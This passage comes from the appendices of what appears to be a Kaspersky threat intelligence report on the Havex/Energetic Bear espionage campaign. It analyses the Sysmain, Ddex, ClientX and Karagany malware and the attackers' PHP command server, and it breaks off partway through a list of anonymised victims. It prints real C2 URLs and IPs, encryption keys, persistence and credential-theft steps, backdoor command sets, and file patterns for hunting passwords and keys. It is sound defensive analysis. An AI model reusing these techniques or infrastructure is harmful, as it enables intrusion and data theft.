Trojan.Win32.Sysmain.c Size: 131584 Compiled: Fri, 14 Dec 2012 17:50:05 Type: C2 urls: 8bs.org/wp-content/plugins/akismet/iddx.php agu-inyaz.com/awstats/icon/flags/src.php hajaj-center.com/moon/fancybox/fancy_source.php www.ferma.az/incfiles/classes/iddx.php File metadata second variant SHA-256: a8e6abaa0ddc34b9db6bda17b502be7f802fb880941ce2bd0473fd9569113599 MD5: 875b0702ef3cc2d909ecf720bb4079c2 Verdict: Trojan.Win32.Sysmain.e Size: 133152 Compiled: Wed, 12 Jun 2013 09:31:14 Type: C2 urls: ojoobo.com/modules/search/search.php giant99.com/system/modules/SMTP/class.src.php antibioticsdrugstore.com/err/log/source.php www.sinfulcomicsite.com/wp03/wp-includes/pomo/src.php Other sysmain samples: SHA-256: Verdict: TLP: Green 31488f632f5f7d3ec0ea82eab1f9baba16826967c3a6fa141069ef5453b1eb95 Trojan.Win32.Sysmain.e For any inquire please contact intelreports@kaspersky.com Size: 133152 Compiled: Mon, 08 Apr 2013 21:41:53 UTC C2 urls: www.sinfulcomicsite.com/wp03/wp-includes/pomo/src.php www.christian-vedder.de/media/system/tmp/_tfpl.php blog.olioboard.com/wp-content/plugins/akismet/src.php mobitel.az/source/tmp/sdwrfq.php SHA-256: 53d2a3324f276f29c749727c20708a3421a5144046ce14a8e025a8133316e0ac Verdict: Trojan.Win32.Sysmain.b Size: 145440 Compiled: Thu, 07 Jun 2012 08:40:54 UTC C2 urls: warteam.freetzi.com/wp-includes/pomo/idx.php jetc.com/illegal_access_folder/source.php www.eth-inc.com//new/moduls/source.php crm.mayanks.in/include/tcpdf/config/source.php SHA-256: 81e5e73452aa8b14f6c6371af2dccab720a32fadfc032b3c8d96f9cdaab9e9df Verdict: Trojan.Win32.Sysmain.e Size: 133152 Compiled: Thu, 21 Mar 2013 18:51:53 UTC C2 urls: 7adharat.com/forum/includes/search/log_search.php buythepill.net/cart/checkout/set/sidx.php sico.ueuo.com/engine/modules/src.php medpunkt.biz/includes/core/source.php SHA-256: dc75404b6fc8cdb73258c2cc7bc758347ffb4237c8d18222f3489dc303daf989 Verdict: Trojan.Win32.Sysmain.d Size: 144991 Compiled: Thu, 27 Oct 2011 04:59:50 UTC C2 urls: lankaranfc.com/360/resources/lankeran.php aikidogroup.com/anjoman/inc/plugins/scoll.php sico.ueuo.com/engine/modules/src.php SHA-256: 387d4ea82c51ecda162a3ffd68a3aca5a21a20a46dc08a0ebe51b03b7984abe9 Verdict: Trojan.Win32.Sysmain.e Size: 133223 Compiled: Fri, 16 Aug 2013 06:14:30 UTC C2 urls: www.sinfulcomicsite.com/wp03/wp-includes/pomo/src.php giant99.com/system/modules/SMTP/class.src.php www.christian-vedder.de/media/system/tmp/_tfpl.php TLP: Green For any inquire please contact intelreports@kaspersky.com antibioticsdrugstore.com/err/log/source.php Exports RunDllEntry Installer: Copies itself to %APPDATA%\sydmain.dll Call RunReg (see below) Call AGTwLoad if binary not installed already AGTwLoad Initializes the malware and starts C2 communication Create internal Victim-ID: $victim-id= HKCU/Identities/Default User ID -18890} example1: {8B01CFB5-FF66-4404-89E2-27E06475EA38}-18890} (query for HKCU/Identities/Default User ID was successful) example2: {AD-18890} (query for HKCU/Identities/Default User ID was NOT successful) Create Muxtex: $victim-id Add itself to %PATH% Call RunReg (see below) Call GPI (see below) Create another Victim-ID: $victim-id2= HKCU/Identities/Default User ID -01890} example1: {8B01CFB5-FF66-4404-89E2-27E06475EA38}-01890} (query for HKCU/Identities/Default User ID was successful) example2: {ED-01890} (query for HKCU/Identities/Default User ID was NOT successful) Open Mutex $victim-id2 and create remote thread in corresponding process for C2 communication Initializes the key infrastructure in registry and generates an external Victim-ID: Generate random Victim-ID HKCU/Identities/Default User ID + $currentCursorPos + $currentPID+ -TUS If query for HKCU/Identities/Default User ID was NOT successful: AUTO $stringOfRandomInteger + + $currentCursorPos + + $currentPID+ -TUS TLP: Green For any inquire please contact intelreports@kaspersky.com Setup crypt key infrastructure with keys in registry (valid for both variants) Keys (stored in Software\Microsoft\Internet Explorer\InternetRegistry\SNLD ) - used to decrypt incoming c2-communication AATnkDHDlO+cOi/6zqUVoaA2DfbTyIoP8y1+Q5MxLfimzeQFgJvk/mdHDjghFl5p2 naTmm9y6IAQ2JZpTFhW1WVqC6a8sipU62zO94YwwqtThm+0citlfP4NyEm79c9Qok 0S4wG9+87/9FPLbZG9h0DNBTjWDqyoyQP6Hy7r0ty/nwAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAQABpCpH/X6TONDPvyHNS76gFHJl8NMVfiVKtV829QDAbZE9/O CmpPvvQCLGjD6NhMIKmq48INzQHiFO0Sv83OLA18pc18oIfDBtkyBnZRoaIrw3+tn sLwpEtYRtJ3axE4lT8ZBZ6Zu0EPXjqPkqbxH1RqF4pjBx1Rj15Ky/h1J+CwH0Ftmu gRGp/CISiQDvB3kDRFjp42s0xOyce8jhmSNH5+E2PM3cXqCknRdIf6ZDRO2alMdds TJhPV0S7hl+LNbB8tzetjZ6zRsZL46NGcj2p6bfQ1jMrgwPWI1Run8uin/YjnTyHp ecKai3AWGFHo8SR5dJkFpHb07R1wmlMZqOXyVqc0fapRiHe7mXorsBTD2B9pczszV Nkm+SUgKy9MOK+ezUeUH0h290XSNR3eyl3j453C2ygeSCAYhrUyESQoGQgF57KDs0 4pS/uR+3Yd1wr1dUKPfP7xkKZTtlrdqxSZQ+XtLY5PhjySDqT233WsVTl26L10t9r PYp7nE97Godz8DXn8HfCsqRvYwdwfrOD3cpAnBL2u6gU/G5Cvw47QyiCF96iMMPuW Vq25/xLj9Zc+aWMtS9+jVKxnlnvdaxIQ== pubm ) - used to encrypt outgoing c2-communication AAStvhUWRdUCbz2jXG52xG6OXgtHxG9Qd/ckNJ2tQHZAfxDI/H3lmxy2JXILgri/h pf0taVjAbfsohMc+aBndaYkQa73k/WPXvi8lFFCbKBBGVfj7xo4CmiEC5blZCHDNt E6poNeUFKddcXXQAeGOwcvQmVHSxQn+uHIS+VqetyEaQAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAQAB ) - used to encrypt files AATnkDHDlO+cOi/6zqUVoaA2DfbTyIoP8y1+Q5MxLfimzeQFgJvk/mdHDjghFl5p2 naTmm9y6IAQ2JZpTFhW1WVqC6a8sipU62zO94YwwqtThm+0citlfP4NyEm79c9Qok 0S4wG9+87/9FPLbZG9h0DNBTjWDqyoyQP6Hy7r0ty/nwAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAQAB AGTwRec: Gathers victim information and stores it in an encrypted XML-like-file in %TEMP% TLP: Green For any inquire please contact intelreports@kaspersky.com The path to this file is saved in registry (XORed with 0x05) Software\Microsoft\Internet Explorer\InternetRegistry\SNLD, sN (where N:= [0,x[) external Victim-ID generated in GPI Username Computername Country Language Nation Type of Internet connection Current IP Drive information Default browser Process list Listing of files in User-Profile-Directory SendThisFile Encrypts arbitrary file with -key and save it to local dropzone (%temp%) as sN (where N:=[0,x]) TLP: Green For any inquire please contact intelreports@kaspersky.com RenameExecute Renames itself and its startup-entry in registry RunReg Creates startup-entry in registry Software\Microsoft\Windows\CurrentVersion\Run, load= %PathToRundll32% %appdata%\ sydmain.dll, AGTwLoad SharedRegistry: Used at install, adds itself to %PATH% Encodes string with base64 using crypt32.dll, CryptBinaryToStringA Flags: (CRYPT_STRING_BASE64,CRYPT_STRING_NOCRLF) Encodes string with base64 using crypt32.dll, CryptBinaryToStringA Flags: (CRYPT_STRING_BASE64) Encrypts file with given key (called by non-public file-encryptor using -key) Decrypts string with given key (called by non-public c2-communicator using -key) Encrypts string with given key (called by non-public c2-communicator using pubm -key) RAT Commands used by attacker : execute file sent from c2 TLP: Green For any inquire please contact intelreports@kaspersky.com : load dll sent from c2 : read file from disk, encrypt (with -key) and save it to local dropzone, filename in registry under sN : not fully implemented or prefix of next command : save directory listing and save it to local dropzone, filename in registry under sN : replace pubm -key in registry (used for c2-communication) : manipulates a nN and/or pN-entry in registry : deletes nN and Pn-entries in registry, creates new nN and pN-entries : execute shell-command (via cmd.exe) : gather victim data (calls AGTwRec) : delete registry entries Exemplary registry entries: Path: HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\SNLD ID: Unique bot-id (see above) prv: priv key (encrypt msg c2) pubm: pub key (decrypt msg from c2) pub: pub key (file encryption) nN: random data pN: random data sN: XOR(5)-encrypted path (unicode) of (encrypted) files containing collected victim-data or dumped files form hdd For entries nN, pN, sN N:=[0,x] TLP: Green For any inquire please contact intelreports@kaspersky.com IV. Appendix 4: Ddex loader detailed analysis Binaries metadata SHA-256: Size: Compiled: 3094ac9d2eeb17d4cda19542f816d15619b4c3fec52b87fdfcd923f4602d827b 24576 Mon, 18 Oct 2010 08:13:57 UTC SHA-256: Size: Compiled: Notes: 7a115335c971ad4f15af10ea54e2d3a6db08c73815861db4526335b81ebde253 14296 Thu, 28 Oct 2010 11:29:05 UTC contains additional print export, which calls the main malware function without creating a thread SHA-256: Size: Compiled: Notes: 76b272828c68b5c6d3693809330555b5a1a6a8bda73228c8edc37afca78a21d6 13312 Thu, 28 Oct 2010 11:29:05 UTC practically identical to 7a11 SHA-256: Size: Compiled: Notes: 377a9c610cc17bbf19470b1a3f847b74e0f56d4f4fd57a3298c630dab403acea 15360 Wed, Nov 24 2010 09:47:09 UTC practically identical to 7a11... All binaries have basically the same functionality - they serve as downloaders for other malicious code. Code flow: Check / create mutex (6757) Check if it s run by ddex.exe or explorer.exe; if not, create remote thread in explorer.exe memory, which loads %TEMP%\Low\~tmppnet.dll Set the autorun value: HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows Load= %TEMP%\Low\ddex.exe Create a remote thread in explorer.exe, which loads %TEMP%\Low\ddex.exe Get some data from first
tag after UTC string in the file returned by www.thetimenow.com/ TLP: Green For any inquire please contact intelreports@kaspersky.com index.cgi/?loc=258 Get systime and write it to %TEMP%\Low\~ntp.tmp Get windows version Look for malicious data by sending following request to the specified URLs: http://kitexgarments.com/ext/index2.php?t=%s&o=%s&i=%s&task_id=%s http://creloaded.com/ext/index2.php?t=%s&o=%s&i=%s&task_id=%s http://10bestsearch.com/ext/index2.php?t=%s&o=%s&i=%s&task_id=%s [t = base64 encoded time string / o = os version / i = data from thetimenow.com or NULL / task_id = content of ~task.tmp or string done Example request: /ext/index2.php/?t=MjAxNDEyNzE0NQ==&o=XP_SP3&i=&task_id=done Host information at the time of analysis: kitexgarments.com resolves to 66.39.134.254, alive GET request to specified file returns creloaded.com resolves to 174.37.240.18, alive, GET request to specified file returns 404 10bestsearch.com resolves to 195.16.89.46, alive, GET request to specified file returns 404 Headers: User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.59 Safari/534.3 Accept: text/xml Content-Type: application/x-www-form-urlencoded Accept-Encoding: no Connection: Keep-Alive TLP: Green For any inquire please contact intelreports@kaspersky.com If the string is in the returned HTML code, exit; otherwise: Read content that is between tags and write it to the file %TEMP%\Low\~task. Read content that is between tags , xor it with 0x0A and write it to the %TEMP%\ Low\~ldXXXX.TMP file, then load this file to the memory TLP: Green For any inquire please contact intelreports@kaspersky.com V. Appendix 5: The ClientX backdoor detailed analysis The ClientX backdoor binaries were found in an open directory on one of the C2 servers. They consist of two .NET files. One of them is called client.exe, which is the main malware component. The second is library.dll, which provides functions to client.exe. Compiled on: Mon Mar 04 13:23:46 2013 File size: 81 920 bytes SHA256: D449AEDACCA27E61B8FAE3FCF0E40C29C53ED565E23ED64B6F5528287B547BD2 The client.exe file has built-in debug messages, but the binary was compiled as a GUI application. By editing the PE header, it is possible to change it back to console, and see real time debug messages as the malware operates: Here is what is displayed upon execution: Sleep 10 seconds One instance upd cleaner upd cleaner done main loop settingcheck RegIeDir RegIeDir done run-work LM no error LM no error HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion run-work done work run-work done 2 BOTID settingcheck done ANSWER Connecting get : http://hajaj-center.com/moon/fancybox/fancy_source.php?id=BOTID TLP: Green For any inquire please contact intelreports@kaspersky.com begin work end work LOOP END Code flow: Upon execution, client.exe starts by sleeping for 10 seconds. It then creates a Mutext called clientX to check whether other instances of the malware are already running. If no other instance of the malware is found, it will write One instance and continue execution. Otherwise, it will print out More than one instance and terminate. Immediately after creating the Mutex the cleaner method is called. (Debug message: cleaner ). This method looks for all executables in the current folder and deletes files with names that do not match some file property criteria. This is used to delete older versions of the RAT after a successful update (See the commands UPD later described in this appendix) 5.1. Main loop The backdoor then starts the main loop, which is an infinite while loop. (Debug message: main loop 5.1.1 Setting check Some settings are checked by the backdoor. (Debug message: setting check The Settings Check method from the check class is used. 5.1.2 RegIeDir After the debug message RegIeDir , the following registry key is opened HKEY_CURRENT_USER\\ SOFTWARE\\Microsoft\\Internet Explorer and the subkey InternetRegistry is checked. If not found, a subkey is created. That part is closed by a debug message: RegIeDir done 5.1.3 Run-work The run-work debug message indicates that the malware is gathering two registry keys for later use. There is a structure named prSettings with the following fields: public struct prSettings TLP: Green For any inquire please contact intelreports@kaspersky.com public string[] servers; public string id; public int timeout; public string pub; public string priv; public RegistryKey KeyRun; public RegistryKey KeyWork; The last two fields prSettings.KeyRun and prSettings.KeyWork are the one filled by run-work KeyRun will hold SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run , either from HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER depending on access rights. KeyWork will hold SOFTWARE\\Microsoft\\Windows\\CurrentVersion , either from HKEY_ LOCAL_MACHINE or HKEY_CURRENT_USER depending on access rights. The CheckAccessLM and CheckAccessCU methods check for access to Local Machine and Current User, respectively. If the LOCAL MACHINE isn t accessible the following error message is displayed LM error: error reason , otherwise LM no error If the CURRENT MACHINE isn t accessible the following error message is displayed CU error: error reason , otherwise CU no error If for some reason, neither SOFTWARE\\Microsoft\\Windows\\CurrentVersion from Local Machine nor Current User is accessible, the following HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Internet Explorer\\InternetRegistry will be used for KeyWork Once the registry keys are identified, the debug message run-work done is displayed. The malware prints both KeyRun and Keywork and continues execution. A subkey is added to KeyRun to automatically start the malware when Windows reboots. The name of that subkey comes from the version information entry of the resource section where the internal and original file name can be found. TLP: Green For any inquire please contact intelreports@kaspersky.com The full path of the malware is set and the malware can now survive reboot. The debug message work is displayed. 5.1.4 Run-work done 2 The next step focuses on the Keywork registry key. The following subkeys are checked and created if not present in Keywork\\[name_from_version_ information] : done doneEXT work settings and servers They hold not any value at this point. This part is ended by a debug message: run-work done 2 5.1.5 Generating BotID and filling subkeys Immediately after checking for special subkeys, the IDget method is called. If the subkey doesn t exist, the method IDset is called and a new BOTID is created and stored as a Base64 encoded string. Afterwards, the IDget method is called and the BOTID is Base64 decoded from the registry and saved for later use in prSettings.id. It does the same for prSettings.priv prSettings.pub prSettings.timeout and prSettings. servers , each time checking whether a value is already set, and creating one if not. The developers made a mistake. The prSettings.priv is set using the IDget method instead of the KeyPrivGet method. However, this makes little difference since KeyPubGet, KeyPrivGet and IDget are wrappers to the GenerateID methods. This could have introduced a serious flaw if those parameters were used in a secure scheme: Correct for Pub: if (this.KeyPubGet(prSettings.KeyWork) == null) this.KeyPubSet(prSettings.KeyWork); prSettings.pub = this.KeyPubGet(prSettings.KeyWork); Incorrect for Priv: if (this.KeyPrivGet(prSettings.KeyWork) == null) this.KeyPrivSet(prSettings.KeyWork); prSettings.priv = this.IDget(prSettings.KeyWork); TLP: Green <--- mistake For any inquire please contact intelreports@kaspersky.com Once it is done filling the prSettings structure, the debug message settingcheck done is displayed. 5.2 Network communication - AnsSend The next method called by our trojan is AnsSend . It stands for Answer Send It starts with the debug message ANSWER This part of the code looks into the registry, specifically into the KeyWork\\[name_from_version_ information]\\done and doneEXT subkeys to see if there is anything ready to be posted to the C&C server. Those subkeys should be empty at this stage, since the Answers are only created after a task received from the C&C server is completed. Should answers be available, their numbers would be printed as a debug message and processed and the following would be displayed as a debug message: ANSWER 1 (meaning one answer) Connecting post: HTTP:\\C&C server with botID as parameter 8 (size of answer * 2 as it is converted to unicode) reqstream wrote to stream This essentially does a POST request to the C&C server using the BOTID and the following User Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0 On the C&C server side, a new file would be created named after the BOTID with the extension .ans Here is an example of such a file: The date of the post can be found, the base64 encoded C&C server and the unicode string Answer, modified in this example. This is how the attackers get an answer (result) from a given task. 5.3 Network communication - WorkReceive The WorkReceive function essentially does a GET request on the C&C server in order to receive a task to complete on the infected computer. The task to execute is encrypted and base64 encoded TLP: Green For any inquire please contact intelreports@kaspersky.com and returned between the havex tags. Here is an example without any task between the tags: The trojan calls the DataParser to locate the task: The task is decrypted, decoded and stored in the KeyWork\\[name_from_version_information]\\ work subkey. 5.4 WorkBegin - Task Dispatcher Just before the WorkBegin method is called, the begin work debug message is displayed. The first thing WorkBegin does is decrypt and unbase64 the answer returned from the DataParser. Afterwards, two things are extracted: The command to execute and the data parameter for the command. 5.5 The Commands The final step calls the command dispatcher, which executes the command sent by the attackers. 5.5.1 SCR The command is used by the attacker to request a Screen Capture of the infected computer. Typical GDI functions are used, including: CreateCompatibleDC, GetSystemMetrics and CreateCompatibleBitmap. The screenshots are made as JPG files. If a screenshot already exist, it is deleted prior the creation of a new one. 5.5.2 DIR / DIS The and commands are used to generate Directory listings using the XML format. TLP: Green For any inquire please contact intelreports@kaspersky.com 5.5.3 TIM The TIM command is responsible for updating the Timeout parameter in the registry. The command finds where the KeyWork is located and updates the Time out with the parameter provided to the command. 5.5.4 UPD The UPD command is used to run an updated version of the RAT. The currently running RAT executes the update and exits. Upon execution, the newly updated version will delete the old RAT using the Cleaner method described earlier. 5.5.5 FID Change Folder attributes. 5.5.6 LIB The LIB command is used to load a DLL on the infected machine. It simply uses LoadLibrary. 5.5.7 FIR The FIR command is used to run an executable on the infected computer. The process is created with hidden windows to stay unnoticed. 5.5.8 UPS The UPS command is used to update the C&C server in the registry. 5.5.9 FIS The FIS command is used to check if the file passed as parameter exists on the infected computer. 5.5.10 FIT The FIT command is used to delete a file passed as parameter to the command if it exists on the infected computer. 5.5.11 CMD TLP: Green For any inquire please contact intelreports@kaspersky.com The CMD command is used to execute a command on the infected machine using cmd.exe 5.5.12 KEY The KEY command is used to update the Priv and Pub key in the registry. 5.6 Sleep and Loop again Once the commands have been executed, the debug message End work is displayed. The malware then sleeps for a random amount of time and the main loop continues. If the commands were executed, all results stored in the registry will be POSTED to the server via the AnsSend method. The malware loops forever waiting for new orders from the attackers. TLP: Green For any inquire please contact intelreports@kaspersky.com VI. Appendix 6: Karagany backdoor detailed analysis 1st stage samples SHA-256: 1b3cf050d626706d32c1c2c1cbd4975d519cfbdb9bca0f2e66b7e1120030b439 size: 538152 timestamp: Fri, 19 Jun 1992 22:22:17 UTC sources: hXXp://lafollettewines.com/blog/wp-includes/pomo/inden2i.php?dwl=fne hXXp://kenzhebek.com/tiki/files/templates/listpages/inden2i.php?dwl=fne dropped as: dxpserver.exe, corensys.exe, wbemmonitor.exe detected as: Trojan.Win32.Benban.yc SHA-256: size: timestamp: detected as: b1a3e67200a3837ecf45481885c2eca88f89509443a0bcec01b12aa737007a9b 248360 Fri, 19 Jun 1992 22:22:17 UTC Trojan-Dropper.Win32.Clons.aqwj SHA-256: size: timestamp: source: dropped as: detected as: fcf7bfe68ff302869475b73e4c605a099ed2e1074e79c7b3acb2a451cd2ea915 271400 Fri, 19 Jun 1992 22:22:17 UTC www.nahoonservices.com/wp-content/plugins/rss-poster/juch.php searchindexer.exe Trojan-Dropper.Win32.Clons.ampw SHA: size: timestamp: signature: a553384eeadf4ad39e6c89bf16a146c01ebf627d042485844d75cd67b421afb8 248360 Fri, 19 Jun 1992 22:22:17 UTC Trojan-Dropper.Win32.Clons.apvc This backdoor comes packed with UPX and a custom Delphi packer. The Delphi packer contains antidebugging tricks and code especially crafted to overrun sandbox mechanisms. The packer unpacks and executes the main binary in several stages, creating multiple separated processes and threads. Code flow: Check OS version, install date, username and system metrics Check for event 51032_861222508099 TLP: Green For any inquire please contact intelreports@kaspersky.com Copy self to %APPDATA%\\.exe, where and are chosen from the list of strings hardcoded in the binary Set attribs of the copied dropper to hidden & system Move the original dropper to err.log Set file attributes to hidden & temporary Use MoveFileWithProgress to delete the original dropper on the next reboot Copy %SYSTEM%chkdsk.exe file to the path and filename of the original dropper Copy %SYSTEM%chkdsk.exe to %APPDATA%\\ .exe (with the space at the end) Create folder %APPDATA%\\plugs Use COM objects (IShellLink &IPersistFile interfaces) to create a link in the Startup folder Extract the credentials from Internet Explorer s password manager and save them to \prx.jpg file; keep monitoring the credentials in loop and updating the file Check if any browser process is running and if so, inject the DLL spying on the basic authentication credentials sent via HTTP traffic; affected browsers include Internet Explorer, Firefox, Mozilla and Opera Check Internet connection by sending GET request to adobe.com/geo/productid.php and microsoft.com/en-us/default.aspx If Internet is working, initiate the communication with C2 (the IP address is hardcoded in the binary) by sending the following post request POST 93.188.161.235/check_value.php?identifiant=51032_861222508099&version=ver4_2 Await commands If the C2 is not available, create an empty file: \inact.api Create C:\ProgramData\Mail\MailAg\gl directory Create a thread that monitors this directory and sends the content of files found inside it to the C2 server; the data is encrypted with a combination of XOR and other bitwise operations before sending List of backdoor commands: Cownexec Cownadminexec Updateme Deleteplugin Loadplugin Xdiex Xrebootx Xmonstart - start monitoring the C:\ProgramData\Mail\MailAg\gl dir and send file content to the C2 Xmonstop - stop monitoring Xgetfile Xec2 - another routine to execute a binary TLP: Green For any inquire please contact intelreports@kaspersky.com Xfrost Killklg List of strings used as folder name and filename: Folder name File name Microsoft WCF services SearchIndexer Broker services ImeBroker Flash Utilities fsutil Media Center Programs; PnPutil Policy Definitions BdeUISrv Microsoft Web Tools WinSAT Reference Assemblies pwNative Analysis Services SnippingTool InstallShield Information DFDWizard IIS SQL Server PrintBrmEngine Diagnostics; WbemMonitor NTAPI Perfomance dxpserver WPF Platform PowerMng 2nd stage samples (modules) Screenshot module SHA-256: 05fb04474a3785995508101eca7affd8c89c658f7f9555de6d6d4db40583ac53 Size: 823289 Timestamp: Fri, 07 Jun 2013 08:05:56 UTC Source: 91.203.6.71/check2/muees27jxt/scs.exe Detected as: Trojan-PSW/Karagany (Microsoft, Norman); This EXE copies the additional MZ from its overlay to C:\ProgramData\Cap\Cap.exe and runs this file using following command: TLP: Green For any inquire please contact intelreports@kaspersky.com C:\cmd.exe /c C:\ProgramData\Cap\Cap.exe /d C:\ProgramData\Mail\MailAg /f scs.jpg > C:\ProgramData\Mail\MailAg\scs.txt Then it deletes the directory C:\ProgramData\Cap and all the files in it, deletes itself and exits. It uses encrypted strings - XOR with progressively incremented value. 3rd stage 3rd party screenshot tool SHA256: 150ffd226b8a0d7cabe295b6ad3d256e5aa273a968b5b700b1a5bdbebf088fa7 Size: 696320 Timestamp: Fri, 16 Apr 2010 07:47:33 UTC Cap.exe is indeed the DuckLink CmdCapture tool - a 3rd party freeware AutoIt application (AutoIt version 3.3.6.1) for capturing the screenshots, available here http://www.ducklink.com/p/download/ This application is dropped by the scs.exe module and run using following command line parameters: /d C:\ProgramData\Mail\MailAg /f scs.jpg > C:\ProgramData\Mail\MailAg\scs.txt The /d parameter specifies the destination directory The /f parameter specifies the filename for the screenshot file. Text output produced by application is redirected to the C:\ProgramData\Mail\MailAg\scs.txt file and contains information such as: Day and time of capture Computer name Username Cpu architecture Os version IP address Logon domain and logon server Desktop details (height, width, depth, refresh rate) Environmental variables Description of the DuckLink CmdCapture functionalities from the README file that comes with the application: This freeware program designed to capture images of the screen. TLP: Green For any inquire please contact intelreports@kaspersky.com Main Features: * Full Screen Capture (display selection support). * Window Capture. * Selected area capture. * Save captured image in silent mode. * Open captured image in graphic editor. * Print captured image. * Put captured image to clipboard. * Upload captured image (to image hosting services). * Images format support: JPG - Quality can be set. BMP - Format can be set. Example of part of the content of the scs.txt file: @HOUR: Hours value of clock in 24-hour format. Range is 00 to 23 Sample Value: 23 @MDAY: Current day of month. Range is 01 to 31 Sample Value: 22 @MIN: Minutes value of clock. Range is 00 to 59 Sample Value: 19 @MON: Current month. Range is 01 to 12 Sample Value: 07 @MSEC: Milliseconds value of clock. Range is 00 to 999 Sample Value: 050 @SEC: Seconds value of clock. Range is 00 to 59 Sample Value: 52 @WDAY: Numeric day of week. Range is 1 to 7 which corresponds to Sunday through Saturday. Sample Value: 3 @YDAY: Current day of year. Range is 001 to 366 (or 001 to 365 if not a leap year) Sample Value: 203 @YEAR: Current four-digit year Sample Value: 2014 @ComputerName: Computer s network name. Sample Value: WINXP @ComSpec: value of %comspec%, the SPECified secondary COMmand interpreter; primarily for TLP: Green For any inquire please contact intelreports@kaspersky.com command line uses, e.g. Run(@ComSpec & /k help | more Sample Value: C:\WINDOWS\system32\cmd.exe @CPUArch: Returns when the CPU is a 32-bit CPU and when the CPU is 64-bit. Sample Value: X64 @HomeShare: Server and share name containing current user s home directory. Sample Value: @IPAddress1: IP address of first network adapter. Tends to return 127.0.0.1 on some computers. Sample Value: 192.168.56.11 @IPAddress2: IP address of second network adapter. Returns 0.0.0.0 if not applicable. Sample Value: 0.0.0.0 @IPAddress3: IP address of third network adapter. Returns 0.0.0.0 if not applicable. Sample Value: 0.0.0.0 @IPAddress4: IP address of fourth network adapter. Returns 0.0.0.0 if not applicable. Sample Value: 0.0.0.0 @LogonDNSDomain: Logon DNS Domain. Sample Value: @LogonDomain: Logon Domain. Sample Value: WINXP --- snip --- File listing module SHA-256: 07bd08b07de611b2940e886f453872aa8d9b01f9d3c61d872d6cfe8cde3b50d4 Size: 15872 Timestamp: Tue, 02 Jul 2013 12:41:47 UTC Source: 91.203.6.71/check2/muees27jxt/fl.exe Detected as: HEUR:Trojan.Win32.Generic Module listing file. Saves a list of documents that have specified extensions or contain specified strings in the file name to the C:\ ProgramData\Mail\MailAg\fls.txt file. Saved information includes path, size and modification time. File matching patterns: *pass*.* *.rtf *.xls *.pdf *secret*.* *.pst *.doc *.vmdk *.pgp *.p12 *.mdb *.tc TLP: Green For any inquire please contact intelreports@kaspersky.com VII. Appendix 7: C&C Analysis The C&C Backend is written in PHP, consisting of 3 files. log.php is a Web-Shell, used for file level operations. testlog.php is not a PHP-script but it contains the C&C Server logfile of Backdoor-connections. Please see source.php below for further information. source.php The Backdoors interact with source.php , which is the control script. Following the functions on execution: 1. Collects the following Information: Information Syntax/content Used (written to log) Timestamp day-month-year hour:minute-second IP-address checks and return valid IP-address from HTTP-Request ( HTTP_CLIENT_ HTTP_X_FORWARDED HTTP_X_ Host iFORWARDED_FOR REMOTE_ADDR UserAgent reverse lookup of IP-address (gethostbyaddr) Proxy-IP-address if Bot connected through Proxy UserAgent from HTTP-Request Request-URI string of URI requested by Bot BotID BotID transferred with HTTP-request Proxy 2. Writes the above information to testlog.php , separated by Tabulator and base64-encoded, with the following syntax: TLP: Green For any inquire please contact intelreports@kaspersky.com \t\t\t\t\t 3. Writes all transferred HTTP-GET Variables to .log , separated by Tabulator and base64-encoded. 4. If the bot executed an HTTP-POST-request, the transferred data is written to the file . , enclosed in xdata -Tag with timestamp. ( is the acronym for Answer 5. Checks for any file _*.txt a. If found the timestamp, filename and Status sent are first appended to .log Then the file content is transferred to the bot, embedded into HTML with HTML-Body data! and HTML-Comment Havex containing the data to be transferred. Finally the file on the server will be removed. If removal fails it s logged to .log b. If no matching file is found, a HTML-Response is sent with an empty Havex HTMLComment and HTML-Body text Sorry, no data corresponding to your request. TLP: Green For any inquire please contact intelreports@kaspersky.com VIII. Appendix 8: Victim identification The page below shows a brief description of the identified victims including information about the company and the sector on which they operates. A total of 101 victims have been identified. Victim 1 Offers a complete range of manufacturing processes including precision injection molding, cleanroom molding and assembly, sheet metal fabrication, supply chain management and distribution. Victim 2 Ukrainian wholesale suppliers for the pharmaceutical market. Victim 3 General contracting, design build and construction management company; based in Alabama. Victim 4 Company performing web developing, hosting, consulting and content management. Victim 5 University in Ukraine. Victim 6 Develops larger machines for international manufacturers Ireland. Victim 7 School in Tennessee. Victim 8 Special Purpose Machines. Working in several sectors including the pharmaceutical, automotive, printing or plastic industry. Victim 9 Corporation - Area of activity : Adult Internal Medicine, Infectious Disease, Pediatrics, OB/GYN, Dentistry, Psychology, Psychiatry, Social Services Victim 10 Faculty of Electrical Engineering, Mechanical Engineering and Naval Architecture. TLP: Green For any inquire please contact intelreports@kaspersky.com Victim 11 Distributor for construction machinery, energy systems and Caterpillar brand equipment. Victim 12 One of Northern Ireland s most respected and innovative construction companies. Victim 13 Supplier of IT services and products. Victim 14 Multi-trade company providing high quality electrical, HVAC, IT, across the country (US). Victim 15 Area of activity: Packaging systems. HQ in Switzerland. Victim 16 Web development and hosting including ERP and commercial implementation and consulting services. HQ: Chile Victim 17 Car dealer in Arizona Victim 18 